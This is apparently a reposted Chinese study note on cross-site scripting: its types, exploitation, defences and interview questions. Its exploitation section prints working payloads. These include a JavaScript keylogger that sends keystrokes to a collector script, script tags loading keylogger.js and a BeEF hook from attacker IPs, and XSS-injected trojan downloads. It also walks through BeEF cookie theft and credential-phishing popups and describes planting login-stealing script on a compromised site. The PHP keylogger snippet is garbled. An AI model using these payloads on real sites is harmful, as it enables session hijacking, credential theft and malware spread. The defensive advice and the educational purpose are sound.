前言
总结网安学习历程,先从基础开始,具体利用和挖掘技巧后面总结,先给大家总结笔记。
XSS简介
XSS,是一种代码注入攻击,如果网站没有对用户的输入做过滤或者过滤不严谨 ,直接返回数据给用户,用户浏览器执行了该恶意代码
XSS的分类
反射型:恶意的js代码没有储存在数据库中,只是在前端的URL中, 一次性 的,输入恶意代码就返回当前的浏览器解析, 由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
储存型:jS恶意代码被插入数据库中, 网站服务端将js代码从数据库取出,拼接在 HTML 中返回给浏览器
反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。
DOM型:不与后台服务器产生数据交互,dom型被嵌入到前端的页面, 有可能是持久也可能是非持久型 ,大部分属于反射型 , 它能绕过大部分浏览器的过滤
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
xss漏洞利用方式总结
搭建XSS平台
首先,我们需要一个XSS平台,自己搭建一个还是使用在线的都可以
为什么要搭建一个XSS平台呢?便于我们接受数据,比如窃取cookie之后返回给我们,获取截图返回给我们,重点是大多数xss平台还可以自动生成XSS脚本,大大的节省了我们的时间成本。
窃取cookie
抓取屏幕截图
重定向
植入广告
<script>document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='2000' height='5000' allowTransparency src=[https://blog.csdn.net/zlloveyouforever/article/details/124514747?spm=1001.2014.3001.5502></iframe>");</script>](https://blog.csdn.net/zlloveyouforever/article/details/124514747?spm=1001.2014.3001.5502></iframe>");</script>)
恶意链接
<script type="text/javascript">window.location.href="[https://blog.csdn.net/zlloveyouforever/article/details/124514747?spm=1001.2014.3001.5502";</script>](https://blog.csdn.net/zlloveyouforever/article/details/124514747?spm=1001.2014.3001.5502";</script>)
网页直接跳转
<script type="text/javascript">window.location.href="跳转的目的地址";</script> <script type="text/javascript">window. location.replace("跳转的目的地址");</script> <script type="text/javascript">window. location.assign("跳转的目的地址");</script>
网页延迟跳转
(网页停留三秒后再进行跳转)
<script type="text/javascript"> function jumurl(){ window.location.href = 'https://www.baidu.com'; } setTimeout(jumurl,3000); </script>
获取键盘记录
首先开启在kail上开启apache服务
/etc/init.d/apache2 start
以下中的bule是本人的BlueLotus平台安装路径,下面凡是bule的都是这个意思,你可以改成跟我一样或者用你的路径替换bule。 在bule目录下创建keylogger.php文件,里面代码如下, keylogger.php 【用于将键盘上的敲击的记录通过POST传送到keylog.txt中】
<?php
$_POST['key']; key =
log = fopen("keylog.txt","a");
log,$key);
log);
?>
BlueLotus平台--> 公共模板--> 左下角 添加--> 文件名自行设置--> 模板说明自行编写--> js代码引入--> 更改 keylogger.php文件所在路径(改成你自己的) --> 右下角新增 keylogger.js【远程js脚本文件】js代码如下
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST","http://127.0.0.1/bule/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
keylog.txt 【空文件用于接收键盘的记录】 在输入框中输入以下代码
<script src="http://192.168.135.138/keylogger.js"></script>
<script src="http://ip/keylogger.js"></script>
网页钓鱼
接下来的实验不再使用BlueLotus测试平台,而使用Web 框架攻击平台beef,全称是 The Browser Exploitation Framework,这个工具(平台)集成了许多payload,可以实现许多功能。安装
apt-get install beef-xss
中间会询问是否设置密码,手动输入密码即可,输入内容不可见,如果输错了或者忘了可以在/etc/beef-xss/config.yaml中查看
vim /etc/beef-xss/config.yaml
有个小插曲,本人电脑安装beef-xss时始终访问不了kali官网,也试过很多办法,最终解决办法是更新源
vim /etc/apt/sources.list
使用如上命令打开文档,将原有的源注释掉或者删除,换成下文的清华大学的源。
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-freedeb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
登录进入的页面 在前面的命令执行界面中有如上显示, 将其中这行代码写入具有XSS漏洞处即可
<script src="http://<kali机IP>:3000/hook.js"></script>
此时刷新beef页面即可看到已经劫持了访问留言板用户的浏览器绿色模块:表示模块适用当前用户,并且执行结果对用户不可见红色模块:表示模块不适用当前用户,有些红色模块也可以执行橙色模块:模块可用,但结果对用户可见灰色模块:模块为在目标浏览器上测试过
点击Current Browser按钮即可显示所有模块(假如没看到这个按钮就把beef页面或者dvwa留言板页面刷新一下)
Browser浏览器 Chrome Extensions浏览器扩展 Debug调试 Exploits利用Host主机 Network网络 Persistence持久性 Social Engineering社会工程
beef使用
获取用户Cookie
我们点击Browser—>Hooked Domain —>Get Cookie,然后点击右下角的Execute然后点击我们执行的那条命令,右边就可以看到浏览器的 Cookie 了
网页重定向
我们点击Browser—>Hooked Domain —>Redirect Browser,然后点击右下角的Execute,然后用户的浏览器的该页面就会跳转到百度的页面了
社工弹窗
Pretty Theft 攻击模块会在被勾连浏览器上弹出一个弹框,然后通过欺骗性的语句来使用户输入帐号和密码。当网站有http-only这个响应首部,无法窃取cookie时,可以使用完美盗窃这个模块来窃取用户的帐号和密码。使用Pretty Theft前,需要做一些参数的设置:我们点击Social Engiineering——>Pretty Theft ,然后右上角选择弹窗的类型,右下角点击 Execute 点击Execute运行, 被勾连的浏览器会有一个提示性的弹框弹出: 由于这是在国内所以在Pretty Theft默认下弹出的诱惑性弹框中所使用的语言是英文。在国内效果肯定要打折扣了。所以要修改一下,beef/modules/social_engineering/pretty_theft/command.js中修改: 也可以自己做个页面放在这里面,修改完成后重复上面的操作
网页挂马
网页挂马指黑客利用网站的漏洞,将木马病毒程序或下载链接嵌入网站的网页中,利用网站的流量将自己的网页木马传播,以达到自己不可告人的目的。
先利用CS生成一个 hta格式的文件 点击链接图标并选中我们刚刚生成的hta文件
这样我们就得到了下载该木马的链接
<script src="http://192.168.1.109:80/download/file.ext"></script>
将生成的链接结合js代码利用xss漏洞插入 出现了一个删除按钮,就表示插入成功了。
XSS危害
能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。 例如:窃取Cookie信息、监听用户行为、修改DOM和在页面生成浮窗广告。这些都会使得用户的信息和行为变得不安全。反射型:危害小,只能通过发带有恶意js代码的链接给受害人点击dom型:能绕过很多浏览器,储存型:危害大,持久型危害,储存型的,JS恶意代码被插入数据库中, 网站服务端将js代码从数据库取出,拼接在 HTML 中返回给浏览器
Dom型XSS的危害:DOM-XSS不经过服务端,只看服务端的日志和数据库,很难排查到DOM-XSS一般是通杀浏览器的DOM-XSS一般是被攻击的时候就执行了XSS,由于是前端DOM操作导致,很难留下痕迹
XSS防御
-
输入过滤:对于提交给服务器的输入,应该进行过滤和验证,以确保它们只包含必需的字符和格式。可以使用正则表达式或HTML编码等技术来实现输入过滤。
-
输出编码:在将数据输出到HTML页面中时,必须对其进行编码,以确保任何潜在的恶意脚本都不会被执行。可以使用HTML编码或JavaScript编码等技术对输出进行编码。
-
HttpOnly Cookies: HttpOnly 是 Cookie 的一个属性,在设置Cookie的时候可以对Cookie设置该属性,该属性主要是防止Cookie被JS脚本获取,只能通过Http传输和访问。
我们需要明确的是HttpOnly本质上并不是防止XSS攻击的,主要是起到缓解的作用,在恶意脚本执行之后,是无法获取到对应的Cookie,防止来下一步攻击的进行和用户数据的进一步泄漏。
-
CSP(内容安全策略):实施CSP可大大降低 XSS 的风险。CSP 允许您定义哪些资源由浏览器加载,这有助于防止XSS攻击。
禁止加载外域代码,防止复杂的攻击逻辑。
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
禁止未授权的脚本执行(新特性,Google Map 移动版在使用)
5.输入内容长度控制:对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。
-
验证码:防止脚本冒充用户提交危险操作
预防存储型和反射型 XSS 攻击
存储型和反射型 XSS 都是在服务端返回恶意代码后,插入到响应 HTML 里的,攻击者编写的“数据”被内嵌到“代码”中,被浏览器所执行预防这两种漏洞,有两种常见做法:
-
改成纯前端渲染,把代码和数据分隔开。
-
对 HTML 做充分转义。
预防 DOM 型 XSS 攻击
DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。在使用 .innerHTML、.outerHTML、document.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent、.setAttribute() 等
XSS的相关面试问题
1.从实用的角度看存储型XSS和反射型XSS以及Dom型XSS
存储型xss最持久,而且更为隐蔽,因为是存在数据库当中的,触发的url当中没有带js或者其他的html代码,所以他的实用性更高。其次则是Dom型XSS因为它能绕过大部分浏览器的过滤,再其次才是反射型XSS反射型的xss还要深思熟虑的考虑根据浏览器去bypass各种过滤,易用性稍微差一些(注意反射型xss和dom型xss都需要在url加入js代码才能够触发)
2.什么是document 和 window 对象
document表示的是一个文档对象,window表示的是一个窗口对象,一个窗口下可以有多个文档对象。document 只是属于window 的一个子对象。
3.什么是非持久型什么是非持久型,Dom型xss又属于那种呢?
非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。而Dom型xss属于有可能是持久也可能是非持久型
4.通过xss打到的cookie怎么用来登录呢
通过抓包将你得到的cookie贴相应位置到里面即可,注意抓到的是什么页面的cookie就去相应页面抓包修改,不要找错页面了。
5.为什么在靶场后面加个1.txt就能绕waf
因为它认为.txt文件是安全的,所以可绕过,又因为它找不到1.txt这个文件,他就会解析上级目录
6.为什么靶场可以用native编码来绕waf
因为document.write()他可以接受native编码
7.Dom型XSS的优点避开waf
因为有些情况Dom Xss的Payload,可以通过location.hash,即设置为锚部分从#之后的部分,既能让JS读取到该参数,又不让该参数传入到服务器,从而避免waf检测。location.search也类似,它可以把部分参数放在?之后的部分。长度不限,这个很重要,关键时候!
8.为什么有时弹窗弹不出来
首先可以尝试更换浏览器,谷歌浏览器过滤反射型XSS,可以更换火狐之类的再做尝试。
9.网站可能过滤了script标签怎么测试此网站是否存在XSS测试
弹窗的语句并不只有可以尝试跟换大小写,以及更换其他语句来测试
10.为什么通过抓包来做XSS会比直接在前端插要好
因为前端可能存在着一些代码的过滤,也可能存在一些输入长度的限制,这些一般都是前端检测,所以用burp就不会存在这些问题
11.测试网站是否存在XSS关键在于什么
关键看善于看网站源码,通过网站源码给你的信息来进行测试,并且要善于找输出点,这些地方都是需要重点排查的
12.常见XSS平台有哪些?
XSSPT XSS8.CC load.com
13.访问XSS平台的时候有什么注意事项?
以前也搭建过XSS平台,其实后台可以看到所有用户的Cookie,当你用了别人的XSS平台其实就要注意信息泄露这个问题,而且访问XSS平台和XSS页面建议使用无痕
14.xss作用
盗用cookie,得到内网ip,获取保存的密码等
15.DOM型XSS的防御方法
DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。
其防御在于:
(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;
(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到
16.为什么不建议用谷歌浏览器做dom-xss?
新版Chrome针对script context类型的domxss做了检测拦截
17.如何绕过Http-only?
HTTP-Only禁止的是JS读取cookie信息,Http Trace攻击就可以将你的Header里的 Cookie回显出来,利用Ajax或者flash就可以完成这种攻击;或者配置或者应用程序上可能 Bypass,比如header头的泄漏
18.如何快速判定XSS类型
存储型XSS:你发送一次带XSS代码的请求,以后这个页面的返回包里都会有XSS代码;反射型XSS:你发送一次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码;DOM型XSS:你发送一次带XSS代码的请求,在返回包里压根儿就找不到XSS代码的影子;
19.有shell情况下如何使用xss实现对目标站的长久控制?
后台登录处加一段记录登录账号密码的 js,并且判断是否登录成功,如果登录成功,就把账 号密码记 录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值 并且需要深入控 制权限的网络)。在登录后才可以访问的文件中插入XSS脚本
20.XSS弹窗函数和常见的XSS绕过策略?
alert,confirm,prompt 三种函数
绕过策略:1.大小写混合 2.双写 3.编码 4.fuzz 低频使用标签 5.fuzz 低频使用函数 ontoggle 等
7.%0a 或者%0d 绕过
总结
-
了解xss原理,常见攻击方式
-
了解常见的面试题,面试过初级的小伙伴都懂
-
没有垃圾洞,只有垃圾*,只要你不动手去试,笔记做再好都会忘
原文始发于微信公众号(PwnPigPig):web备忘录之xss总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论